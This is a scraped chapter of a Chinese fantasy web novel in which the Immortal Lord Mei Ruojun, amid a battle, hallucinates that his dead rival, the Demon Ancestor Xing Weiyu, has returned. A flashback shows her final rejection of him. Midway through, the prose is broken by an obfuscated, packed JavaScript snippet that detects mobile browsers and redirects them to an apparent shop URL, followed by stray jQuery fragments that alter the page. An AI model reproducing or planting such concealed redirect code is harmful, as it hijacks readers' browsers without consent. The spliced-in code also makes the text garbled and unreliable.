94. 你回来了?

作品:《师尊是不能成为妖后的啊!

    “师尊,仙界何至于此!仙族何须如此!”


    金血凝成的盾牌在梅若君一击下像掉地的瓷器般,几次弹起又摔落,每一次都使得裂隙更大,直到最后寸寸粉碎的一下到来。


    细微却清晰的哀鸣直撞茶晚山的耳朵,宛如怨怒的冤魂狠狠撕扯着她的识海,


    梅若君一刹那瞪大了眼睛,爱恨同时涌出,久远的回忆在她耳畔撞出沉重而悠长的长鸣——


    在渺远的,低低切切的絮语中,他听到了一声熟悉的,一直焦虑的,总是暴怒的沙哑女声:


    “梅若君,你放肆!魔族何须如此!”


    ……微雨?


    如此想,他便如此呢喃自语般低声唤了出来:“……微雨,你回来了?”


    惊而喜,喜且怨,怨生恨。


    茶晚山设想了无数场景,却未曾料到梅若君居然是这个反应。


    从不摘下的黑纱此时依然牢牢焊在他的脸上,茶晚山耳膜未停,看不清他的唇形和表情,辨不出他说了什么,幸好,梅若君自己也觉得不可思议,又重复了一遍——


    “微雨,你来见我了……太好了!你终于想清楚了,对么?”


    刑微雨?魔祖刑微雨?


    她的痕迹被魔界新神黎狩大力抹去,她的政绩成了浮云,书籍成为废纸,理念和道路成为每个魔族都可以踩一脚的踏脚石,成了讨好新神最简单的正确。


    神庙,金身,神相,香火……一切曾证明她存在的东西,统统被黎狩碾为废墟,扬为齑粉。


    她的时代随着她的离去迅速消散了。


    连魔族都三缄其口的情况下,五界已经很久没有人提起过她的名字了,尤其是在黎狩面前——当年魔界新旧两神厮杀之惨烈令所有人咋舌,绝对都是下了死手要指对方于死地。


    没想到,竟是在这样的时刻,在她的生死之敌仙尊梅若君口中,人们再次想起了魔祖的存在。


    人皇冲破化虚幻境,一句废话没有,抬手遥遥一点,裁决天雷利箭般轰鸣着撞向梅若君的后背!


    “梅若君!”黎狩高喝一声,仙尊理也不理,只愣愣注视着以双臂硬接他一招,黑皮质手套寸寸碎裂,小指连接着的手掌侧面血肉模糊,掌骨裸露,金血淌满绿裙的茶晚山。


    “该死的!又发什么疯!”魔尊气急怒骂出声,只好舍下力竭的琉歌,一剑挥开缠斗不休的弥随音,闪身而到,吞噬权柄全开,险之又险的为仙尊挡下了裁武帝君震怒的反击!


    趁此机会,琉歌一掌拍向郁柏的丹田,以空间硬生生隔断了他和丹田的联系,也隔断了残丹内魔气和魔尊的联系。


    弥随音随即拽着郁柏的后领将他扔到惊轶怀里,惊轶意会,扶着郁柏一脚踏进蛛网传送阵内,眨眼间消失在原地。


    “当心,他不对劲。”


    人皇盯着梅若君缓缓后退,来到琉歌和弥随音身旁,一侧头,却看到琉歌因战斗散乱的前襟里,无数漆黑的纹路从妖皇的心口向外爬出,汹汹向外蔓延开——


    弥随音下意识将她拢在怀里,用肩背脊骨给她隔开了其他人的视线。


    琉歌抬手拢住所有痕迹,随即将弥随音轻轻往后一拨,从他身前探出头,示意铭榕向上看——


    无数阴云忽然仙尊的头顶翻涌集结。


    “不是我的裁决权柄……”铭榕一愣,人皇妖皇对视一眼,从对方眼里看到了相同的震撼——不是裁决天雷,那就是天道天谴了!


    梅若君何以凭借一句话触怒天道?


    难不成魔祖刑微雨是什么天道不许提及的禁制不成?


    “琉歌,这里交给我。”眼见情况走向诡异复杂,凤凰当机立断,压低声音将妖皇往后推,琉歌却摇头,咽下喉咙间翻涌的腥甜血气,拒绝道:“不行……我没法再给你提供空间权柄的力量,你会出事的……”


    “你是、你是接下来大战的主角,你不能——咳!”


    “……尊上。”


    凤凰眼神陡然冷沉,不再言语,牵起琉歌的冰凉惨白的手,咬破其食指指尖,将一股滚烫的凤凰本源之力渡了进去。


    神主对于神使的掌控远非常人可以想象,她很清楚弥随音并无恶意,于是并未抵抗来自他的力量反哺。


    十指连心,凤凰至纯至阳的力量如旭日,稳稳拦住了疯狂向外扩散的黑纹。


    “我不会让任何人拦在您的面前,吾皇。”


    凤凰鲜少的冷了脸色,珍而重之许下誓言:“他们俩,我一个也不会放过。请将这里交给我,我还没为您效力呢,不会让自己有事的。”


    琉歌拧眉,还是后退一步,允许了弥随音的逞强:“识海和五感全部打开,一但感知到你有危险,我会立刻将你召回空间。”


    凤凰统统点头应允。


    琉歌最后深深看了弥随音一眼,垫脚吻上他的眉心:“证明自己足以站在我身边吧,师尊。”


    妖皇祝福随着神纹落下,下一刻,藏权云和琉歌合力,将仅剩不多的空间之力投入蛛网,霎时同第七洲全部妖族一起消失原地,远离战场。


    黎狩要拦,被人皇与凤凰联手挡住。


    魔尊喉咙里滚出压抑着暴怒的低吼,气极,一剑挥向阴云正中央的梅若君:“仙尊!”


    风吹麦浪,仙尊金灿灿的眼瞳里满是失而复得的欣喜:“我说了,我会向你证明我才是对的。”


    他挥手将黎狩关进了化虚幻境里,神情陡然转冷,神经质厉声的斥责道:“我和刑微雨说话,你上下蹦跶什么?”


    茶晚山张了张嘴,一声师尊梗在喉咙里,愣是没敢出声,悄然后退半步。


    “别怕,我在这里。”裁武帝君的声音忽然传入茶晚山的识海,重而稳的一股巨力猛然压下,晚山动荡不休的识海陡然静滞,平息了下来。


    “帝君,师尊他……”茶晚山犹疑不安的于识海轻声问道,“神族也会生心魔吗?”


    “魔界当真是不行了,连你这样会咬人的狗都能爬到她的身边了。”


    两人的对话被突然出声的梅若君打断。


    梅若君完全不记得,也不承认化虚幻境里的人是自己的盟友——或许他记得,但此时此刻,他只想放任自己沉浸在难得的幻梦里。


    他不断催眠自己,催眠自己面前的人就是刑微雨,好让这幻梦结束的迟一些,哪怕用伤害自己盟友的方式,也要向自己证明,向自己强调——没错,你没错,你真的再次见到刑微雨了!


    “你知道我有多想你吗……”


    茶晚山从未见过师尊脸上有那么丰富的表情过,似哭似喜,似哀似悔。


    “可恨化虚权柄能对天下人起作用,独独对我没用!”梅若君笑着,从天边缓缓而降,脚步轻浮谨慎,点在第七洲枯黄的草尖露珠上,连露珠都未惊落。


    “不过,幸好,幸好你从不出现在我的幻境里,”仙尊小心的倾身向前,冲茶晚山伸出手,“不然我就是第一个溺死在自己的权柄里的神族了……你不愿入我幻梦,是不是还在生我的气,微雨?”


    “微雨,把手给我,我还有让你东山再起的方法。”


    茶晚山惊惧不已,没忍住后退了一步,低声唤到:“师尊……?”


    “……把手给我,我找到了一条更适合你的路。”梅全然不理会茶晚山的后退和抗拒,自顾自的依然笑着向她伸手——


    记忆里记忆外,幻梦轻飘飘的浮力和现实沉甸甸的重量纠葛着,化为携带了天道怒气的天谴雷劫,轰然降下!


    毫无防护硬接天谴,即便是仙尊,也要为自己的轻慢付出代价。


    梅若君一口血骤然呕出!


    “原来如此,爱恨是痛。”


    “原来如此……感情原来是这个感觉,真新奇。”


    欣然感受着天谴雷劫造成的剧痛,仙尊却跟戳中了笑穴一样止不住笑声:“原来如此,原来是这样的感觉……怪不得微雨总也不愿意打开五感,原来是不愿我痛。”


    “好吧,我原谅你总也不跟我说话了。”


    这疯子欣喜的笑了,与天谴里捂住耳朵缓缓蹲下,似想将耳畔久久回响的幻觉和幻音留的再久一点,不让纷杂的雷鸣影响他侧耳倾听幻梦里刑微雨的回答。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17415626|198802||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “……我身为魔祖,竟还相信魔族有心有情!?”金血像密林间透过树冠投射在地的阳光,形成大小光斑无数。


    小麦色肌肤的女子强撑着一口气,重重一掌扇开了他的手,怒斥道:“输了就是输了,魔族不许要仙族傲慢的施舍。”


    “怎么会是施舍呢?”梅任由她出气,带着胜利者的微笑,故意去拉她皮肉外翻,血淋淋的右手和右臂,“这只是一次施以援手,微雨,就像上次你向我求助那样——这只是一次神族之间的互帮互助。”


    “那个卑贱的疯子这次能将你伤成这样,下次就真的能杀了你——你也不想他踩着你的尸骨上位,将你的一切理想,道路和心血碾为尘埃吧?”


    刑微雨抬起色泽饱满,麦浪般金波荡漾的眼瞳,看透了一切似的凝视着他,狼狈却坚定的摇了摇头。


    “我输给了你,却还没有输给他,魔族有自己的生存方式,不需要仙族傲慢的施舍。”


    “仙魔无情,你已经成为仙尊,我想瞒你的一切,你都已经知晓,何必再在我面前伪装?”


    魔祖冷笑:“向你求助是我这辈子最愚蠢的决定,没有之一。”


    “梅若君,上天注定了我们这辈子必然是你死我活的关系,我不知道你脱离我后一直在发什么疯。”


    生命最后的倒计时里,一直死死缠绕魔祖周身的魔荆纹忽然一震,随即悄无声息的消散了——好像,一直拢着她的灰雾,迷瘴,在这一刻通通散去了。


    “如果魔族觉得黎狩比我更能代表他们的声音,那他便不是卑贱的疯狗,是魔界的下一任魔尊。”


    “你疯了!”


    “你疯了!你我明知黎狩只会将魔族带入战争深渊!你现在开始相信他了?”梅若军陡然瞪大了眼睛,失态地跨步上前,猛地攥住刑微雨双肩,怒吼道:“你不是宁愿将魔核给我,都不愿承认他的胜利吗?!现在又算什么?!”


    “……梅若君。”


    战功与铁血塑造的新任仙尊一怔,忽然小心翼翼地笑了:“您好久没有这样叫过我的名字了,宿主。”


    “我明白了,我知道了……魔界给他,你与我上仙界,对不对?你答应我了,对不对?”


    “梅若君,特意留他一命,暗中扶持他蚕食鲸吞我的力量的,不就是你吗?”


    仙尊的脸上一刹那极为难看,他嘴唇翕张半晌,颤着声,还不死心,怀着最后一点侥幸心理嘴硬道:“我不知道你在说什么……”


    刑微雨彻底累了,看着梅若君,却像在说和自己毫不相干的一件事:“我求你助我杀黎狩——可那一战,撕开包围圈,使得他有机会跳入黄泉,逃往妖界的,不就是你吗?”


    天谴雷劫猛然劈下!


    梅若君又想笑了。


    “啊呀……好久好久没有听到微雨跟我说那么多话了……你果然还是这样,永远不会说我爱听的呢,微雨。”


    漆黑的荆条形状的藤蔓蓦然浮现!


    手指,手臂,脖颈——一切裸露在外的肌肤霎时被漆黑藤蔓汹汹占领!


    天谴削弱了化虚幻境的力量,黎狩气急败坏挣脱而出,咒骂还未出口,便看到了梅若君身上的漆黑荆条——


    “魔荆纹!?”


    黎狩顾不得骂他,厉声斥道:“你疯了!别想了,梅若君!”


    “但我还活着,你凭什么消散?”


    他突然冷笑,声音恨极,怒极!


    “早说了魔尊之位不适合你,要不是你非要强求,至于会疼痛三万年吗!”


    “活该。”


    天谴非但没把他劈清醒,反而把他越劈越疯魔——


    仙尊嗤笑,随即又痴痴笑起来:“没关系,他说,微雨,你回来了,我看到你了!我迟早得到——”


    梅若君金灿的瞳孔里刹那间突兀的撞出了细针一样血红色的竖瞳!


    他忽然清醒了过来,一瞬间神情凶戾无比,野兽一般,魔族一般,直直望向铭榕,将最后一句话硬生生咬断,吞回了肚子里——


    ——我迟早得到时间权柄,将你带回来!